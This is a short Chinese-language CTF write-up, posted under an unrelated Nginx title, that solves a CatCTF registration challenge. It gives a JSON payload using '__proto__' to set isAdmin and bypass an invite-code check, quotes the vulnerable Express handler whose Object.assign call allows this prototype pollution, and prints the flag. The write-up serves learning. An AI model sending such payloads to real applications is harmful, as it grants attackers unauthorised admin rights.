0
点赞
收藏
分享

微信扫一扫

linux 部署Nginx

写心之所想 2023-05-25 阅读 64
查看提示:不需要爆破

进入到靶场中,发现需要注册用户

到达注册页面,is admin需要打勾,并输入同样

burpsuite抓包
原来payload:{"username":"1","password":"1","isAdmin":true,"inviteCode":"1"}
payload:{"username":"1","password":"1","__proto__":{"isAdmin":true},"inviteCode":"1"}

放包即可注册成功,不需要重放 ,然后登录刚刚注册好的页面
得到最终的flag CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}

 原型链污染

app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})
举报

相关推荐

0 条评论